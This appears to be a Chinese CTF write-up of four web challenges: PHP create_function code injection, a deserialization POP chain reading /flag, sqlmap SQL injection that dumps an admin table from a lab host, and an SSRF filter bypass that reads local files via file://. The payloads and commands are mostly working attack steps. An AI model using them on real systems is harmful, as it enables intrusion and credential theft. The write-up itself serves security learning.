第一题-代码执行

使用代码执行漏洞获取根目录下 /flag

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$v= $_GET['v'] ;
if(isset($a)&&isset($v)){
$a('', $v);
}

可以看到,这里接收两个参数,并且构成一个字符串。我们需要利用这两个参数,使得类似 system("cat /flag") 能够被执行。尝试 $a = system/shell_exec$v = cat /flag 都失败了,这是因为,多了一个空参数。

翻阅教材,发现 php 中有一个 create_function() 函数,这个函数的作用是创建匿名函数,使用方法如下:

1
2
3
4
5
6
$func = create_function(string $args, string $code)
create_function("$a", "echo $a")
# 差不多等价于下面这个形式
$func = lambda($args) {
$code;
}

因此,我们可以使用 create_function('$a', '}; xxx();/*') 来使得 xxx() 执行,这是因为这里就是一个单纯的字符串替换,}; 可以匹配 lambda($args) {,然后执行 xxx(); 并将后续代码全部注释掉!

所以,这里我们的构造如下:

image-20230509164836725

第二题-反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class D1{
public $a;
public function __destruct(){
echo $this->a;
}
}
class D2{
public $b;
public function __toString(){
return $this->b['t']->res;
}
}
class D3{
public $c;
public function __get($k)
{
if(isset($this->c[$k])) {
$v = $this->c[$k];
}
return $this->file_get($v);
}
public function file_get($v)
{
$text = base64_encode(file_get_contents($v));
echo $text;
return $text;
}
}
unserialize($_GET['a']);
highlight_file(__FILE__);
?>

我们需要 D3 执行 file_get(),并且 $v = /flag。这要求先执行 D3->__get($k),并且 $v$c 的值,$k$c 的键,$c 是一个类似别的语言中 map 的存在。那么 $k 具体是可以什么呢?我们看 D2。调用了一个 ->res,我们可以让 $kres。对于 D2 中的 $b,可以是一个键值对了,键是 t,值也很显然,是 $d3 。为了触发 D2 中的 __toString() 函数,需要 D1 中的 $a = $d2,这样就会在析构时触发了。

构造如下:

1
2
3
4
5
6
7
8
9
$d1 = new D1();
$d2 = new D2();
$d3 = new D3();
$arr = ['t' => $d3];
$d2->b = $arr;
$d1->a = $d2;
$arr2 = ['res' => '/flag'];
$d3->c = $arr2;
echo serialize($d1);

image-20230510000537836

将其使用 base64 解码,得到的结果如下:

1
flag{y0u_g4t_it}

第三题-SQL 注入

  1. 在浏览器抓包工具中看到,实际上访问的是 http://58.240.236.231:20503/backend/content_detail.php?id=1 这个链接。那么我们直接使用 sqlmap 来解决。
  2. 查看支持的注入方式
1
python3 sqlmap.py -u "http://58.240.236.231:20503/backend/content_detail.php?id=1"  

image-20230510000945700

布尔盲注、延时盲注和 union 注入都支持。

  1. 使用 --dbs 查看数据库
1
python3 sqlmap.py -u "http://58.240.236.231:20503/backend/content_detail.php?id=1" --dbs

image-20230510001109543

  1. 使用 --tables 查看表名
1
python3 sqlmap.py -u "http://58.240.236.231:20503/backend/content_detail.php?id=1" -D news --tables

image-20230510001207049

  1. 使用 --dump 查看数据
1
python3 sqlmap.py -u "http://58.240.236.231:20503/backend/content_detail.php?id=1" -D news -T admin --dump

image-20230510001337625

  1. 将用户名密码拿去登录得到 flag
1
flag{74b98b5a-5433-44a3-89ff-78b48ab45c27}

第四题-SSRF

1
http://58.240.236.231:20504/index.php?url=https%3A%2F%2Fwww.hillstonenet.com.cn%2Fwp-content%2Fuploads%2F2023%2F03%2Fhillstone-networks-logo.svg

当我们一输入攻击链接时,就会跳转到这个网站来!那么我们考虑对这个 url 做文章,将其修改为百度网站,结果如下:

image-20230510001730227

只能访问 hillstone 的图片,那么它是怎么判断的呢?通过之前做过的一些题目判断,应该是通过正则表达式去匹配关键字。所以我们需要带上关键字,并且又不能影响主页面的显示,即我们可以将关键字放在参数中!

比如我们在百度搜索 hillstone 时,浏览器地址栏给出的 url 是 https://www.baidu.com/s?wd=hillstone,我们将其直接粘贴为 url 的值,结果如下:

image-20230510002418788

成功绕过了过滤,我们希望拿到 flag 文件中的数据,使用 file:// 协议即可。

image-20230510002529732

我们将 /flag.txt 修改为 index.php 的绝对路径即可查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!--?php
function geturl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}

if(isset($_GET['url'])){
if(!preg_match('/hillstone/i',$_GET['url'])){
die("只能访问hillstone的图片");
}
geturl($_GET['url']);
}
else{
header("Location: index.php?url=https%3A%2F%2Fwww.hillstonenet.com.cn%2Fwp-content%2Fuploads%2F2023%2F03%2Fhillstone-networks-logo.svg");
}

echo "<!-- /flag.txt ---->

和我们猜测的大差不差。